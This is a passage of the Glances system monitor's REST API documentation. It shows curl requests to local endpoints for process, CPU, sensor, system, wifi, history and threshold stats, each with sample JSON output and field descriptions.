\"key\": \"pid\",\n      \"memory_info\": {\"data\": 1035464704,\n                      \"dirty\": 0,\n                      \"lib\": 0,\n                      \"rss\": 907096064,\n                      \"shared\": 301883392,\n                      \"text\": 659456,\n                      \"vms\": 21562757120},\n      \"memory_percent\": 5.523923265360285,\n      \"name\": \"firefox\",\n      \"nice\": 0,\n      \"num_threads\": 131,\n      \"pid\": 7320,\n      \"status\": \"S\",\n      \"time_since_update\": 1,\n      \"username\": \"nicolargo\"},\n     {\"cmdline\": [\"/snap/code/226/usr/share/code/code\",\n                  \"/home/nicolargo/.vscode/extensions/ms-python.vscode-pylance-2025.10.4/dist/server.bundle.js\",\n                  \"--cancellationReceive=file:04be24ce76e4495cf732a465baadfdaa5cd6a71a4d\",\n                  \"--node-ipc\",\n                  \"--clientProcessId=23100\"],\n      \"cpu_percent\": 0.0,\n      \"cpu_times\": {\"children_system\": 0.4,\n                    \"children_user\": 1.21,\n                    \"iowait\": 0.0,\n                    \"system\": 11.3,\n                    \"user\": 156.16},\n      \"gids\": {\"effective\": 1000, \"real\": 1000, \"saved\": 1000},\n      \"io_counters\": [58270720,\n                      860160,\n                      0,\n                      0,\n                      0,\n                      533440512,\n                      25243648,\n                      0,\n                      0,\n                      0,\n                      22730752,\n                      16384,\n                      0,\n                      0,\n                      0,\n                      535948288,\n                      47550464,\n                      0,\n                      0,\n                      0,\n                      5810176,\n                      0,\n                      0,\n                      0,\n                      0,\n                      19647488,\n                      20480,\n                      0,\n                      0,\n                      0,\n                      2099200,\n                      0,\n                      0,\n                      0,\n                      0,\n                      16313344,\n                      0,\n                      0,\n                      0,\n                      0,\n                      28744704,\n                      1234997248,\n                      0,\n                      0,\n                      0,\n                      3727360,\n                      0,\n                      0,\n                      0,\n                      0,\n                      2706432,\n                      0,\n                      0,\n                      0,\n                      0,\n                      608256,\n                      5287936,\n                      0,\n                      0,\n                      0,\n                      501760,\n                      4096,\n                      0,\n                      0,\n                      0,\n                      4771840,\n                      0,\n                      0,\n                      0,\n                      0,\n                      204800,\n                      0,\n                      0,\n                      0,\n                      0,\n                      3366912,\n                      0,\n                      0,\n                      0,\n                      0,\n                      121856,\n                      0,\n                      0,\n                      0,\n                      0,\n                      4253696,\n                      14098432,\n                      0,\n                      0,\n                      0,\n                      3054592,\n                      0,\n                      0,\n                      0,\n                      0,\n                      1148928,\n                      0,\n                      0,\n                      0,\n                      0],\n      \"key\": \"pid\",\n      \"memory_info\": {\"data\": 1466331136,\n                      \"dirty\": 0,\n                      \"lib\": 0,\n                      \"rss\": 793346048,\n                      \"shared\": 73969664,\n                      \"text\": 148103168,\n                      \"vms\": 1501578698752},\n      \"memory_percent\": 4.831222255230553,\n      \"name\": \"code\",\n      \"nice\": 0,\n      \"num_threads\": 16,\n      \"pid\": 24011,\n      \"status\": \"S\",\n      \"time_since_update\": 1,\n      \"username\": \"nicolargo\"}]\n\nFields descriptions:\n\n* **pid**: Process identifier (ID) (unit is *number*)\n* **name**: Process name (unit is *string*)\n* **cmdline**: Command line with arguments (unit is *list*)\n* **username**: Process owner (unit is *string*)\n* **num_threads**: Number of threads (unit is *number*)\n* **cpu_percent**: Process CPU consumption (returned value can be > 100.0 in case of a process running multiple threads on different CPU cores) (unit is *percent*)\n* **memory_percent**: Process memory consumption (unit is *percent*)\n* **memory_info**: Process memory information (dict with rss, vms, shared, text, lib, data, dirty keys) (unit is *byte*)\n* **status**: Process status (unit is *string*)\n* **nice**: Process nice value (unit is *number*)\n* **cpu_times**: Process CPU times (dict with user, system, iowait keys) (unit is *second*)\n* **gids**: Process group IDs (dict with real, effective, saved keys) (unit is *number*)\n* **io_counters**: Process IO counters (list with read_count, write_count, read_bytes, write_bytes, io_tag keys) (unit is *byte*)\n* **cpu_num**: CPU core number where the process is currently executing (0-based indexing) (unit is *number*)\n\nGET programlist\n---------------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/programlist\n    [{\"childrens\": [7320],\n      \"cmdline\": [\"firefox\"],\n      \"cpu_percent\": 0,\n      \"cpu_times\": {\"children_system\": 0.6,\n                    \"children_user\": 0.15,\n                    \"iowait\": 0.0,\n                    \"system\": 529.29,\n                    \"user\": 1996.72},\n      \"io_counters\": [919012352, 2608193536, 0, 0, 0],\n      \"memory_info\": {\"data\": 1035464704,\n                      \"dirty\": 0,\n                      \"lib\": 0,\n                      \"rss\": 907096064,\n                      \"shared\": 301883392,\n                      \"text\": 659456,\n                      \"vms\": 21562757120},\n      \"memory_percent\": 5.523923265360285,\n      \"name\": \"firefox\",\n      \"nice\": 0,\n      \"nprocs\": 1,\n      \"num_threads\": 131,\n      \"pid\": \"_\",\n      \"status\": \"S\",\n      \"time_since_update\": 1,\n      \"username\": \"nicolargo\"},\n     {\"childrens\": [24011,\n                    23100,\n                    23016,\n                    22843,\n                    371206,\n                    24378,\n                    371205,\n                    23116,\n                    23115,\n                    371222,\n                    23049,\n                    371241,\n                    23201,\n                    371317,\n                    498553,\n                    24148,\n                    23908,\n                    22968,\n                    22846,\n                    22845],\n      \"cmdline\": [\"code\"],\n      \"cpu_percent\": 0,\n      \"cpu_times\": {\"children_system\": 168.19,\n                    \"children_user\": 135.10999999999999,\n                    \"system\": 310.41,\n                    \"user\": 1465.01},\n      \"io_counters\": [58270720,\n                      860160,\n                      0,\n                      0,\n                      0,\n                      533440512,\n                      25243648,\n                      0,\n                      0,\n                      0,\n                      22730752,\n                      16384,\n                      0,\n                      0,\n                      0,\n                      535948288,\n                      47550464,\n                      0,\n                      0,\n                      0,\n                      5810176,\n                      0,\n                      0,\n                      0,\n                      0,\n                      19647488,\n                      20480,\n                      0,\n                      0,\n                      0,\n                      2099200,\n                      0,\n                      0,\n                      0,\n                      0,\n                      16313344,\n                      0,\n                      0,\n                      0,\n                      0,\n                      28744704,\n                      1234997248,\n                      0,\n                      0,\n                      0,\n                      3727360,\n                      0,\n                      0,\n                      0,\n                      0,\n                      2706432,\n                      0,\n                      0,\n                      0,\n                      0,\n                      608256,\n                      5287936,\n                      0,\n                      0,\n                      0,\n                      501760,\n                      4096,\n                      0,\n                      0,\n                      0,\n                      4771840,\n                      0,\n                      0,\n                      0,\n                      0,\n                      204800,\n                      0,\n                      0,\n                      0,\n                      0,\n                      3366912,\n                      0,\n                      0,\n                      0,\n                      0,\n                      121856,\n                      0,\n                      0,\n                      0,\n                      0,\n                      4253696,\n                      14098432,\n                      0,\n                      0,\n                      0,\n                      3054592,\n                      0,\n                      0,\n                      0,\n                      0,\n                      1148928,\n                      0,\n                      0,\n                      0,\n                      0],\n      \"memory_info\": {\"data\": 14866567168,\n                      \"rss\": 4253007872,\n                      \"shared\": 1590620160,\n                      \"text\": 2962063360,\n                      \"vms\": 24127759761408},\n      \"memory_percent\": 25.89944997479477,\n      \"name\": \"code\",\n      \"nice\": 0,\n      \"nprocs\": 20,\n      \"num_threads\": 291,\n      \"pid\": \"_\",\n      \"status\": \"S\",\n      \"time_since_update\": 1,\n      \"username\": \"nicolargo\"}]\n\nFields descriptions:\n\n* **pid**: Process identifier (ID) (unit is *number*)\n* **name**: Process name (unit is *string*)\n* **cmdline**: Command line with arguments (unit is *list*)\n* **username**: Process owner (unit is *string*)\n* **num_threads**: Number of threads (unit is *number*)\n* **cpu_percent**: Process CPU consumption (returned value can be > 100.0 in case of a process running multiple threads on different CPU cores) (unit is *percent*)\n* **memory_percent**: Process memory consumption (unit is *percent*)\n* **memory_info**: Process memory information (dict with rss, vms, shared, text, lib, data, dirty keys) (unit is *byte*)\n* **status**: Process status (unit is *string*)\n* **nice**: Process nice value (unit is *number*)\n* **cpu_times**: Process CPU times (dict with user, system, iowait keys) (unit is *second*)\n* **gids**: Process group IDs (dict with real, effective, saved keys) (unit is *number*)\n* **io_counters**: Process IO counters (list with read_count, write_count, read_bytes, write_bytes, io_tag keys) (unit is *byte*)\n* **cpu_num**: CPU core number where the process is currently executing (0-based indexing) (unit is *number*)\n\nGET psutilversion\n-----------------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/psutilversion\n    \"7.2.2\"\n\nGET quicklook\n-------------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/quicklook\n    {\"cpu\": 6.7,\n     \"cpu_hz\": 4475000000.0,\n     \"cpu_hz_current\": 658906000.0,\n     \"cpu_log_core\": 16,\n     \"cpu_name\": \"13th Gen Intel(R) Core(TM) i7-13620H\",\n     \"cpu_phys_core\": 10,\n     \"load\": 3.1,\n     \"mem\": 60.3,\n     \"percpu\": [{\"cpu_number\": 0,\n                 \"dpc\": None,\n                 \"guest\": 0.0,\n                 \"guest_nice\": 0.0,\n                 \"idle\": 45.0,\n                 \"interrupt\": None,\n                 \"iowait\": 0.0,\n                 \"irq\": 0.0,\n                 \"key\": \"cpu_number\",\n                 \"nice\": 0.0,\n                 \"softirq\": 0.0,\n                 \"steal\": 0.0,\n                 \"system\": 11.0,\n                 \"total\": 55.0,\n                 \"user\": 0.0},\n                {\"cpu_number\": 1,\n                 \"dpc\": None,\n                 \"guest\": 0.0,\n                 \"guest_nice\": 0.0,\n                 \"idle\": 56.0,\n                 \"interrupt\": None,\n                 \"iowait\": 0.0,\n                 \"irq\": 0.0,\n                 \"key\": \"cpu_number\",\n                 \"nice\": 0.0,\n                 \"softirq\": 0.0,\n                 \"steal\": 0.0,\n                 \"system\": 1.0,\n                 \"total\": 44.0,\n                 \"user\": 0.0},\n                {\"cpu_number\": 2,\n                 \"dpc\": None,\n                 \"guest\": 0.0,\n                 \"guest_nice\": 0.0,\n                 \"idle\": 55.0,\n                 \"interrupt\": None,\n                 \"iowait\": 0.0,\n                 \"irq\": 0.0,\n                 \"key\": \"cpu_number\",\n                 \"nice\": 0.0,\n                 \"softirq\": 0.0,\n                 \"steal\": 0.0,\n                 \"system\": 1.0,\n                 \"total\": 45.0,\n                 \"user\": 0.0},\n                {\"cpu_number\": 3,\n                 \"dpc\": None,\n                 \"guest\": 0.0,\n                 \"guest_nice\": 0.0,\n                 \"idle\": 57.0,\n                 \"interrupt\": None,\n                 \"iowait\": 0.0,\n                 \"irq\": 0.0,\n                 \"key\": \"cpu_number\",\n                 \"nice\": 0.0,\n                 \"softirq\": 0.0,\n                 \"steal\": 0.0,\n                 \"system\": 1.0,\n                 \"total\": 43.0,\n                 \"user\": 0.0},\n                {\"cpu_number\": 4,\n                 \"dpc\": None,\n                 \"guest\": 0.0,\n                 \"guest_nice\": 0.0,\n                 \"idle\": 48.0,\n                 \"interrupt\": None,\n                 \"iowait\": 0.0,\n                 \"irq\": 0.0,\n                 \"key\": \"cpu_number\",\n                 \"nice\": 0.0,\n                 \"softirq\": 0.0,\n                 \"steal\": 0.0,\n                 \"system\": 6.0,\n                 \"total\": 52.0,\n                 \"user\": 2.0},\n                {\"cpu_number\": 5,\n                 \"dpc\": None,\n                 \"guest\": 0.0,\n                 \"guest_nice\": 0.0,\n                 \"idle\": 53.0,\n                 \"interrupt\": None,\n                 \"iowait\": 0.0,\n                 \"irq\": 0.0,\n                 \"key\": \"cpu_number\",\n                 \"nice\": 0.0,\n                 \"softirq\": 0.0,\n                 \"steal\": 0.0,\n                 \"system\": 4.0,\n                 \"total\": 47.0,\n                 \"user\": 0.0},\n                {\"cpu_number\": 6,\n                 \"dpc\": None,\n                 \"guest\": 0.0,\n                 \"guest_nice\": 0.0,\n                 \"idle\": 49.0,\n                 \"interrupt\": None,\n                 \"iowait\": 1.0,\n                 \"irq\": 0.0,\n                 \"key\": \"cpu_number\",\n                 \"nice\": 0.0,\n                 \"softirq\": 0.0,\n                 \"steal\": 0.0,\n                 \"system\": 4.0,\n                 \"total\": 51.0,\n                 \"user\": 2.0},\n                {\"cpu_number\": 7,\n                 \"dpc\": None,\n                 \"guest\": 0.0,\n                 \"guest_nice\": 0.0,\n                 \"idle\": 30.0,\n                 \"interrupt\": None,\n                 \"iowait\": 0.0,\n                 \"irq\": 0.0,\n                 \"key\": \"cpu_number\",\n                 \"nice\": 0.0,\n                 \"softirq\": 0.0,\n                 \"steal\": 0.0,\n                 \"system\": 12.0,\n                 \"total\": 70.0,\n                 \"user\": 12.0},\n                {\"cpu_number\": 8,\n                 \"dpc\": None,\n                 \"guest\": 0.0,\n                 \"guest_nice\": 0.0,\n                 \"idle\": 54.0,\n                 \"interrupt\": None,\n                 \"iowait\": 1.0,\n                 \"irq\": 0.0,\n                 \"key\": \"cpu_number\",\n                 \"nice\": 0.0,\n                 \"softirq\": 0.0,\n                 \"steal\": 0.0,\n                 \"system\": 0.0,\n                 \"total\": 46.0,\n                 \"user\": 2.0},\n                {\"cpu_number\": 9,\n                 \"dpc\": None,\n                 \"guest\": 0.0,\n                 \"guest_nice\": 0.0,\n                 \"idle\": 56.0,\n                 \"interrupt\": None,\n                 \"iowait\": 0.0,\n                 \"irq\": 0.0,\n                 \"key\": \"cpu_number\",\n                 \"nice\": 0.0,\n                 \"softirq\": 0.0,\n                 \"steal\": 0.0,\n                 \"system\": 0.0,\n                 \"total\": 44.0,\n                 \"user\": 0.0},\n                {\"cpu_number\": 10,\n                 \"dpc\": None,\n                 \"guest\": 0.0,\n                 \"guest_nice\": 0.0,\n                 \"idle\": 55.0,\n                 \"interrupt\": None,\n                 \"iowait\": 0.0,\n                 \"irq\": 0.0,\n                 \"key\": \"cpu_number\",\n                 \"nice\": 0.0,\n                 \"softirq\": 0.0,\n                 \"steal\": 0.0,\n                 \"system\": 1.0,\n                 \"total\": 45.0,\n                 \"user\": 0.0},\n                {\"cpu_number\": 11,\n                 \"dpc\": None,\n                 \"guest\": 0.0,\n                 \"guest_nice\": 0.0,\n                 \"idle\": 57.0,\n                 \"interrupt\": None,\n                 \"iowait\": 0.0,\n                 \"irq\": 0.0,\n                 \"key\": \"cpu_number\",\n                 \"nice\": 0.0,\n                 \"softirq\": 0.0,\n                 \"steal\": 0.0,\n                 \"system\": 0.0,\n                 \"total\": 43.0,\n                 \"user\": 0.0},\n                {\"cpu_number\": 12,\n                 \"dpc\": None,\n                 \"guest\": 0.0,\n                 \"guest_nice\": 0.0,\n                 \"idle\": 55.0,\n                 \"interrupt\": None,\n                 \"iowait\": 0.0,\n                 \"irq\": 0.0,\n                 \"key\": \"cpu_number\",\n                 \"nice\": 0.0,\n                 \"softirq\": 0.0,\n                 \"steal\": 0.0,\n                 \"system\": 0.0,\n                 \"total\": 45.0,\n                 \"user\": 0.0},\n                {\"cpu_number\": 13,\n                 \"dpc\": None,\n                 \"guest\": 0.0,\n                 \"guest_nice\": 0.0,\n                 \"idle\": 56.0,\n                 \"interrupt\": None,\n                 \"iowait\": 0.0,\n                 \"irq\": 0.0,\n                 \"key\": \"cpu_number\",\n                 \"nice\": 0.0,\n                 \"softirq\": 0.0,\n                 \"steal\": 0.0,\n                 \"system\": 0.0,\n                 \"total\": 44.0,\n                 \"user\": 1.0},\n                {\"cpu_number\": 14,\n                 \"dpc\": None,\n                 \"guest\": 0.0,\n                 \"guest_nice\": 0.0,\n                 \"idle\": 54.0,\n                 \"interrupt\": None,\n                 \"iowait\": 0.0,\n                 \"irq\": 0.0,\n                 \"key\": \"cpu_number\",\n                 \"nice\": 0.0,\n                 \"softirq\": 0.0,\n                 \"steal\": 0.0,\n                 \"system\": 1.0,\n                 \"total\": 46.0,\n                 \"user\": 1.0},\n                {\"cpu_number\": 15,\n                 \"dpc\": None,\n                 \"guest\": 0.0,\n                 \"guest_nice\": 0.0,\n                 \"idle\": 56.0,\n                 \"interrupt\": None,\n                 \"iowait\": 0.0,\n                 \"irq\": 0.0,\n                 \"key\": \"cpu_number\",\n                 \"nice\": 0.0,\n                 \"softirq\": 0.0,\n                 \"steal\": 0.0,\n                 \"system\": 0.0,\n                 \"total\": 44.0,\n                 \"user\": 1.0}],\n     \"swap\": 0.0}\n\nFields descriptions:\n\n* **cpu**: CPU percent usage (unit is *percent*)\n* **mem**: MEM percent usage (unit is *percent*)\n* **swap**: SWAP percent usage (unit is *percent*)\n* **load**: LOAD percent usage (unit is *percent*)\n* **cpu_log_core**: Number of logical CPU core (unit is *number*)\n* **cpu_phys_core**: Number of physical CPU core (unit is *number*)\n* **cpu_name**: CPU name (unit is *None*)\n* **cpu_hz_current**: CPU current frequency (unit is *hertz*)\n* **cpu_hz**: CPU max frequency (unit is *hertz*)\n\nGet a specific field::\n\n    # curl http://localhost:61208/api/4/quicklook/cpu_name\n    {\"cpu_name\": \"13th Gen Intel(R) Core(TM) i7-13620H\"}\n\nGET raid\n--------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/raid\n    {}\n\nGET sensors\n-----------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/sensors\n    [{\"critical\": None,\n      \"key\": \"label\",\n      \"label\": \"Ambient\",\n      \"type\": \"temperature_core\",\n      \"unit\": \"C\",\n      \"value\": 30,\n      \"warning\": 0},\n     {\"critical\": None,\n      \"key\": \"label\",\n      \"label\": \"Ambient 3\",\n      \"type\": \"temperature_core\",\n      \"unit\": \"C\",\n      \"value\": 25,\n      \"warning\": 0}]\n\nFields descriptions:\n\n* **label**: Sensor label (unit is *None*)\n* **unit**: Sensor unit (unit is *None*)\n* **value**: Sensor value (unit is *number*)\n* **warning**: Warning threshold (unit is *number*)\n* **critical**: Critical threshold (unit is *number*)\n* **type**: Sensor type (one of battery, temperature_core, fan_speed) (unit is *None*)\n\nGet a specific field::\n\n    # curl http://localhost:61208/api/4/sensors/label\n    {\"label\": [\"Ambient\",\n               \"Ambient 3\",\n               \"Ambient 5\",\n               \"Ambient 6\",\n               \"CPU\",\n               \"Composite\",\n               \"Core 0\",\n               \"Core 4\",\n               \"Core 8\",\n               \"Core 12\",\n               \"Core 16\",\n               \"Core 20\",\n               \"Core 28\",\n               \"Core 29\",\n               \"Core 30\",\n               \"Core 31\",\n               \"HDD\",\n               \"Package id 0\",\n               \"SODIMM\",\n               \"Sensor 1\",\n               \"Sensor 2\",\n               \"dell_smm 0\",\n               \"dell_smm 1\",\n               \"dell_smm 2\",\n               \"dell_smm 3\",\n               \"dell_smm 4\",\n               \"dell_smm 5\",\n               \"dell_smm 6\",\n               \"dell_smm 7\",\n               \"dell_smm 8\",\n               \"dell_smm 9\",\n               \"i915 0\",\n               \"iwlwifi_1 0\",\n               \"temp\",\n               \"CPU Fan\",\n               \"Video Fan\",\n               \"dell_smm 0\",\n               \"dell_smm 1\",\n               \"i915 0\",\n               \"BAT BAT0\"]}\n\nGet a specific item when field matches the given value::\n\n    # curl http://localhost:61208/api/4/sensors/label/value/Ambient\n    {\"Ambient\": [{\"critical\": None,\n                  \"key\": \"label\",\n                  \"label\": \"Ambient\",\n                  \"type\": \"temperature_core\",\n                  \"unit\": \"C\",\n                  \"value\": 30,\n                  \"warning\": 0}]}\n\nGET smart\n---------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/smart\n    {}\n\nGET system\n----------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/system\n    {\"hostname\": \"nicolargo-xps15\",\n     \"hr_name\": \"Ubuntu 24.04 64bit / Linux 6.17.0-19-generic\",\n     \"linux_distro\": \"Ubuntu 24.04\",\n     \"os_name\": \"Linux\",\n     \"os_version\": \"6.17.0-19-generic\",\n     \"platform\": \"64bit\"}\n\nFields descriptions:\n\n* **os_name**: Operating system name (unit is *None*)\n* **hostname**: Hostname (unit is *None*)\n* **platform**: Platform (32 or 64 bits) (unit is *None*)\n* **linux_distro**: Linux distribution (unit is *None*)\n* **os_version**: Operating system version (unit is *None*)\n* **hr_name**: Human readable operating system name (unit is *None*)\n\nGet a specific field::\n\n    # curl http://localhost:61208/api/4/system/os_name\n    {\"os_name\": \"Linux\"}\n\nGET uptime\n----------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/uptime\n    \"23:13:52\"\n\nGET version\n-----------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/version\n    \"4.5.3_dev01\"\n\nGET vms\n-------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/vms\n    {}\n\nFields descriptions:\n\n* **name**: Vm name (unit is *None*)\n* **id**: Vm ID (unit is *None*)\n* **release**: Vm release (unit is *None*)\n* **status**: Vm status (unit is *None*)\n* **cpu_count**: Vm CPU count (unit is *None*)\n* **cpu_time**: Vm CPU time (unit is *percent*)\n* **cpu_time_rate_per_sec**: Vm CPU time per second (unit is *percent* per second)\n* **cpu_time_gauge**: Vm CPU time (cumulative) (unit is *percent*)\n* **memory_usage**: Vm memory usage (unit is *byte*)\n* **memory_total**: Vm memory total (unit is *byte*)\n* **load_1min**: Vm Load last 1 min (unit is *None*)\n* **load_5min**: Vm Load last 5 mins (unit is *None*)\n* **load_15min**: Vm Load last 15 mins (unit is *None*)\n* **ipv4**: Vm IP v4 address (unit is *None*)\n* **engine**: VM engine name (unit is *None*)\n* **engine_version**: VM engine version (unit is *None*)\n* **time_since_update**: Number of seconds since last update (unit is *seconds*)\n\nGET wifi\n--------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/wifi\n    [{\"key\": \"ssid\",\n      \"quality_level\": -73.0,\n      \"quality_link\": 37.0,\n      \"ssid\": \"wlp0s20f3\"}]\n\nGet a specific field::\n\n    # curl http://localhost:61208/api/4/wifi/ssid\n    {\"ssid\": [\"wlp0s20f3\"]}\n\nGet a specific item when field matches the given value::\n\n    # curl http://localhost:61208/api/4/wifi/ssid/value/wlp0s20f3\n    {\"wlp0s20f3\": [{\"key\": \"ssid\",\n                    \"quality_level\": -73.0,\n                    \"quality_link\": 37.0,\n                    \"ssid\": \"wlp0s20f3\"}]}\n\nGET all stats\n-------------\n\nGet all Glances stats::\n\n    # curl http://localhost:61208/api/4/all\n    Return a very big dictionary with all stats\n\nNote: Update is done automatically every time /all or /<plugin> is called.\n\nGET stats of a specific process\n-------------------------------\n\nGet stats for process with PID == 777::\n\n    # curl http://localhost:61208/api/4/processes/777\n    Return stats for process (dict)\n\nEnable extended stats for process with PID == 777 (only one process at a time can be enabled)::\n\n    # curl -X POST http://localhost:61208/api/4/processes/extended/777\n    # curl http://localhost:61208/api/4/all\n    # curl http://localhost:61208/api/4/processes/777\n    Return stats for process (dict)\n\nNote: Update *is not* done automatically when you call /processes/<pid>.\n\nGET top n items of a specific plugin\n------------------------------------\n\nGet top 2 processes of the processlist plugin::\n\n    # curl http://localhost:61208/api/4/processlist/top/2\n    []\n\nNote: Only work for plugin with a list of items\n\nGET item description\n--------------------\nGet item description (human readable) for a specific plugin/item::\n\n    # curl http://localhost:61208/api/4/diskio/read_bytes/description\n    \"Number of bytes read.\"\n\nNote: the description is defined in the fields_description variable of the plugin.\n\nGET item unit\n-------------\nGet item unit for a specific plugin/item::\n\n    # curl http://localhost:61208/api/4/diskio/read_bytes/unit\n    \"byte\"\n\nNote: the description is defined in the fields_description variable of the plugin.\n\nGET stats history\n-----------------\n\nHistory of a plugin::\n\n    # curl http://localhost:61208/api/4/cpu/history\n    {\"system\": [[\"2026-03-15T15:33:20.667387+00:00\", 3.1],\n                [\"2026-03-15T15:33:21.764686+00:00\", 1.1],\n                [\"2026-03-15T15:33:22.810451+00:00\", 1.1]],\n     \"user\": [[\"2026-03-15T15:33:20.667385+00:00\", 3.5],\n              [\"2026-03-15T15:33:21.764683+00:00\", 1.2],\n              [\"2026-03-15T15:33:22.810449+00:00\", 1.2]]}\n\nLimit history to last 2 values::\n\n    # curl http://localhost:61208/api/4/cpu/history/2\n    {\"system\": [[\"2026-03-15T15:33:21.764686+00:00\", 1.1],\n                [\"2026-03-15T15:33:22.810451+00:00\", 1.1]],\n     \"user\": [[\"2026-03-15T15:33:21.764683+00:00\", 1.2],\n              [\"2026-03-15T15:33:22.810449+00:00\", 1.2]]}\n\nHistory for a specific field::\n\n    # curl http://localhost:61208/api/4/cpu/system/history\n    {\"system\": [[\"2026-03-15T15:33:19.378040+00:00\", 3.1],\n                [\"2026-03-15T15:33:20.667387+00:00\", 3.1],\n                [\"2026-03-15T15:33:21.764686+00:00\", 1.1],\n                [\"2026-03-15T15:33:22.810451+00:00\", 1.1]]}\n\nLimit history for a specific field to last 2 values::\n\n    # curl http://localhost:61208/api/4/cpu/system/history\n    {\"system\": [[\"2026-03-15T15:33:21.764686+00:00\", 1.1],\n                [\"2026-03-15T15:33:22.810451+00:00\", 1.1]]}\n\nGET limits (used for thresholds)\n--------------------------------\n\nAll limits/thresholds::\n\n    # curl http://localhost:61208/api/4/all/limits\n    {\"alert\": {\"alert_disable\": [\"False\"], \"history_size\": 1200.0},\n     \"amps\": {\"amps_disable\": [\"False\"], \"history_size\": 1200.0},\n     \"containers\": {\"containers_all\": [\"False\"],\n                    \"containers_disable\": [\"False\"],\n                    \"containers_disable_stats\": [\"command\"],\n                    \"containers_max_name_size\": 20.0,\n                    \"history_size\": 1200.0},\n     \"core\": {\"history_size\": 1200.0},\n     \"cpu\": {\"cpu_ctx_switches_careful\": 640000.0,\n             \"cpu_ctx_switches_critical\": 800000.0,\n             \"cpu_ctx_switches_warning\": 720000.0,\n             \"cpu_disable\": [\"False\"],\n             \"cpu_iowait_careful\": 5.0,\n             \"cpu_iowait_critical\": 6.25,\n             \"cpu_iowait_warning\": 5.625,\n             \"cpu_steal_careful\": 50.0,\n             \"cpu_steal_critical\": 90.0,\n             \"cpu_steal_warning\": 70.0,\n             \"cpu_system_careful\": 50.0,\n             \"cpu_system_critical\": 90.0,\n             \"cpu_system_log\": [\"False\"],\n             \"cpu_system_warning\": 70.0,\n             \"cpu_total_careful\": 65.0,\n             \"cpu_total_critical\": 85.0,\n             \"cpu_total_log\": [\"True\"],\n             \"cpu_total_warning\": 75.0,\n             \"cpu_user_careful\": 50.0,\n             \"cpu_user_critical\": 90.0,\n             \"cpu_user_log\": [\"False\"],\n             \"cpu_user_warning\": 70.0,\n             \"history_size\": 1200.0},\n     \"diskio\": {\"diskio_disable\": [\"False\"],\n                \"diskio_hide\": [\"loop.*\", \"/dev/loop.*\"],\n                \"diskio_hide_zero\": [\"False\"],\n                \"diskio_rx_latency_careful\": 10.0,\n                \"diskio_rx_latency_critical\": 50.0,\n                \"diskio_rx_latency_warning\": 20.0,\n                \"diskio_tx_latency_careful\": 10.0,\n                \"diskio_tx_latency_critical\": 50.0,\n                \"diskio_tx_latency_warning\": 20.0,\n                \"history_size\": 1200.0},\n     \"folders\": {\"folders_disable\": [\"False\"], \"history_size\": 1200.0},\n     \"fs\": {\"fs_careful\": 50.0,\n            \"fs_critical\": 90.0,\n            \"fs_disable\": [\"False\"],\n            \"fs_hide\": [\"/boot.*\", \".*/snap.*\"],\n            \"fs_warning\": 70.0,\n            \"history_size\": 1200.0},\n     \"gpu\": {\"gpu_disable\": [\"False\"],\n             \"gpu_mem_careful\": 50.0,\n             \"gpu_mem_critical\": 90.0,\n             \"gpu_mem_warning\": 70.0,\n             \"gpu_proc_careful\": 50.0,\n             \"gpu_proc_critical\": 90.0,\n             \"gpu_proc_warning\": 70.0,\n             \"gpu_temperature_careful\": 60.0,\n             \"gpu_temperature_critical\": 80.0,\n             \"gpu_temperature_warning\": 70.0,\n             \"history_size\": 1200.0},\n     \"help\": {\"history_size\": 1200.0},\n     \"ip\": {\"history_size\": 1200.0,\n            \"ip_disable\": [\"False\"],\n            \"ip_public_api\": [\"https://ipv4.ipleak.net/json/\"],\n            \"ip_public_disabled\": [\"True\"],\n            \"ip_public_field\": [\"ip\"],\n            \"ip_public_refresh_interval\": 300.0,\n            \"ip_public_template\": [\"{continent_name}/{country_name}/{city_name}\"]},\n     \"load\": {\"history_size\": 1200.0,\n              \"load_careful\": 0.7,\n              \"load_critical\": 5.0,\n              \"load_disable\": [\"False\"],\n              \"load_warning\": 1.0},\n     \"mem\": {\"history_size\": 1200.0,\n             \"mem_careful\": 50.0,\n             \"mem_critical\": 90.0,\n             \"mem_disable\": [\"False\"],\n             \"mem_warning\": 70.0},\n     \"memswap\": {\"history_size\": 1200.0,\n                 \"memswap_careful\": 50.0,\n                 \"memswap_critical\": 90.0,\n                 \"memswap_disable\": [\"False\"],\n                 \"memswap_warning\": 70.0},\n     \"network\": {\"history_size\": 1200.0,\n                 \"network_disable\": [\"False\"],\n                 \"network_hide\": [\"docker.*\", \"lo\"],\n                 \"network_hide_no_ip\": [\"True\"],\n                 \"network_hide_no_up\": [\"True\"],\n                 \"network_hide_zero\": [\"False\"],\n                 \"network_rx_careful\": 70.0,\n                 \"network_rx_critical\": 90.0,\n                 \"network_rx_warning\": 80.0,\n                 \"network_tx_careful\": 70.0,\n                 \"network_tx_critical\": 90.0,\n                 \"network_tx_warning\": 80.0},\n     \"now\": {\"history_size\": 1200.0},\n     \"percpu\": {\"history_size\": 1200.0,\n                \"percpu_disable\": [\"False\"],\n                \"percpu_iowait_careful\": 50.0,\n                \"percpu_iowait_critical\": 90.0,\n                \"percpu_iowait_warning\": 70.0,\n                \"percpu_max_cpu_display\": 4.0,\n                \"percpu_system_careful\": 50.0,\n                \"percpu_system_critical\": 90.0,\n                \"percpu_system_warning\": 70.0,\n                \"percpu_user_careful\": 50.0,\n                \"percpu_user_critical\": 90.0,\n                \"percpu_user_warning\": 70.0},\n     \"ports\": {\"history_size\": 1200.0,\n               \"ports_disable\": [\"False\"],\n               \"ports_port_default_gateway\": [\"True\"],\n               \"ports_refresh\": 30.0,\n               \"ports_timeout\": 3.0},\n     \"processcount\": {\"history_size\": 1200.0, \"processcount_disable\": [\"False\"]},\n     \"processlist\": {\"history_size\": 1200.0,\n                     \"processlist_cpu_careful\": 50.0,\n                     \"processlist_cpu_critical\": 90.0,\n                     \"processlist_cpu_warning\": 70.0,\n                     \"processlist_disable\": [\"False\"],\n                     \"processlist_disable_stats\": [\"cpu_num\"],\n                     \"processlist_mem_careful\": 50.0,\n                     \"processlist_mem_critical\": 